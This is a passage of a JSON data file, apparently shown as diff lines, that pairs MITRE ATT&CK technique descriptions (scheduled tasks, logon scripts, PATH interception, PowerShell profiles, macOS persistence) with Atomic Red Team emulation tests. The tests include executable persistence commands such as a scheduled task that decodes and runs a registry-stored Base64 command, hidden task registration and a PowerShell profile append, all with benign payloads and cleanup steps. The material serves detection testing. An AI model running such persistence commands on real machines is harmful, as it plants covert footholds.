-ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"#{xml_path}\"\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n" - } - }, - { - "name": "Scheduled Task Executing Base64 Encoded Commands From Registry", - "auto_generated_guid": "e895677d-4f06-49ab-91b6-ae3742d0a2ba", - "description": "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "time": { - "description": "Daily scheduled task execution time", - "type": "string", - "default": "07:45" - } - }, - "executor": { - "command": "reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\nschtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st #{time}\n", - "cleanup_command": "schtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Import XML Schedule Task with Hidden Attribute", - "auto_generated_guid": "cd925593-fbb4-486d-8def-16cbdf944bf4", - "description": "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xml_path": { - "description": "path of vbs to use when creating masquerading files", - "type": "path", - "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "File to copy must exist on disk at specified location (#{xml_path})\n", - "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"#{xml_path}\"\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n" - } - }, - { - "name": "PowerShell Modify A Scheduled Task", - "auto_generated_guid": "dda6fc7b-c9a6-4c18-b98d-95ec6542af6d", - "description": "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "powershell", - "elevation_required": false, - "command": "$Action = New-ScheduledTaskAction -Execute \"cmd.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\n$NewAction = New-ScheduledTaskAction -Execute \"Notepad.exe\"\nSet-ScheduledTask \"AtomicTaskModifed\" -Action $NewAction\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n" - } - } - ] - }, - "T1037": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", - "type": "attack-pattern", - "created": "2017-05-31T21:30:38.910Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1037", - "url": "https://attack.mitre.org/techniques/T1037" - }, - { - "external_id": "CAPEC-564", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/564.html" - } - ], - "modified": "2022-04-01T19:04:02.610Z", - "name": "Boot or Logon Initialization Scripts", - "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", - "x_mitre_version": "2.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Creation", - "Process: Process Creation", - "Active Directory: Active Directory Object Modification", - "File: File Modification", - "Command: Command Execution", - "File: File Creation" - ] - }, - "atomic_tests": [] - }, - "T1150": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", - "created": "2017-12-14T16:46:06.044Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1150", - "url": "https://attack.mitre.org/techniques/T1150" - }, - { - "source_name": "Sofacy Komplex Trojan", - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": true, - "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", - "modified": "2022-04-22T18:49:20.520Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Plist Modification", - "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Process whitelisting", - "Whitelisting by file name or path" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1574.007": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", - "created": "2020-03-13T14:10:43.424Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.007", - "url": "https://attack.mitre.org/techniques/T1574/007" - }, - { - "url": "https://capec.mitre.org/data/definitions/13.html", - "source_name": "capec", - "external_id": "CAPEC-13" - }, - { - "url": "https://capec.mitre.org/data/definitions/38.html", - "source_name": "capec", - "external_id": "CAPEC-38" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", - "modified": "2022-05-05T04:08:56.402Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Path Interception by PATH Environment Variable", - "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "File: File Modification" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1044": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", - "type": "attack-pattern", - "created": "2017-05-31T21:30:43.063Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1044", - "url": "https://attack.mitre.org/techniques/T1044" - }, - { - "external_id": "CAPEC-17", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/17.html" - }, - { - "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", - "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.", - "source_name": "Mozilla Firefox Installer DLL Hijack" - }, - { - "url": "http://seclists.org/fulldisclosure/2015/Dec/34", - "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", - "source_name": "Seclists Kanthak 7zip Installer" - } - ], - "modified": "2020-03-19T15:11:39.627Z", - "name": "File System Permissions Weakness", - "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM", - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1546.013": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matthew Green", - "Allen DeRyke, ICE" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", - "type": "attack-pattern", - "created": "2020-01-24T15:11:02.758Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.013", - "url": "https://attack.mitre.org/techniques/T1546/013" - }, - { - "source_name": "Microsoft About Profiles", - "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", - "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019." - }, - { - "source_name": "ESET Turla PowerShell May 2019", - "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", - "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019." - }, - { - "source_name": "Wits End and Shady PowerShell Profiles", - "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", - "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019." - }, - { - "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", - "source_name": "Malware Archaeology PowerShell Cheat Sheet" - }, - { - "source_name": "Microsoft Profiles", - "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles", - "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022." - } - ], - "modified": "2022-02-08T16:39:08.851Z", - "name": "Event Triggered Execution: PowerShell Profile", - "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "Process: Process Creation", - "File: File Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "identifier": "T1546.013" - }, - "atomic_tests": [ - { - "name": "Append malicious start-process cmdlet", - "auto_generated_guid": "090e5aa5-32b6-473b-a49b-21e843a56896", - "description": "Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "exe_path": { - "description": "Path the malicious executable", - "type": "path", - "default": "calc.exe" - }, - "ps_profile": { - "description": "Powershell profile to use", - "type": "string", - "default": "$profile" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Ensure a powershell profile exists for the current user\n", - "prereq_command": "if (Test-Path #{ps_profile}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Path #{ps_profile} -Type File -Force\n" - } - ], - "executor": { - "command": "Add-Content #{ps_profile} -Value \"\"\nAdd-Content #{ps_profile} -Value \"Start-Process #{exe_path}\"\npowershell -Command exit\n", - "cleanup_command": "$oldprofile = cat $profile | Select-Object -skiplast 1\nSet-Content $profile -Value $oldprofile\n", - "name": "powershell" - } - } - ] - }, - "T1514": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Erika Noerenberg, @gutterchurl, Carbon Black", - "Jimmy Astle, @AstleJimmy, Carbon Black" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca", - "type": "attack-pattern", - "created": "2019-08-08T14:29:37.108Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1514", - "url": "https://attack.mitre.org/techniques/T1514" - }, - { - "source_name": "AppleDocs AuthorizationExecuteWithPrivileges", - "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", - "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019." - }, - { - "source_name": "Death by 1000 installers; it's all broken!", - "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", - "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019." - }, - { - "source_name": "Carbon Black Shlayer Feb 2019", - "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", - "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019." - }, - { - "source_name": "OSX Coldroot RAT", - "url": "https://objective-see.com/blog/blog_0x2A.html", - "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019." - } - ], - "modified": "2020-02-05T20:13:51.857Z", - "name": "Elevated Execution with Prompt", - "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1543": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", - "created": "2020-01-10T16:03:18.865Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1543", - "url": "https://attack.mitre.org/techniques/T1543" - }, - { - "source_name": "AppleDocs Launch Agent Daemons", - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017." - }, - { - "source_name": "TechNet Services", - "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx", - "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016." - }, - { - "source_name": "OSX Malware Detection", - "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", - "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ", - "modified": "2022-04-20T16:52:58.415Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Create or Modify System Process", - "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Creation", - "Windows Registry: Windows Registry Key Modification", - "File: File Modification", - "Driver: Driver Load", - "Command: Command Execution", - "File: File Creation", - "Service: Service Modification", - "Process: OS API Execution", - "Service: Service Creation", - "Process: Process Creation" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1546.006": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847", - "created": "2020-01-24T14:21:52.750Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.006", - "url": "https://attack.mitre.org/techniques/T1546/006" - }, - { - "source_name": "Malware Persistence on OS X", - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017." - }, - { - "source_name": "Writing Bad Malware for OSX", - "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)", - "modified": "2022-04-20T17:08:21.101Z", - "created_by_ref": 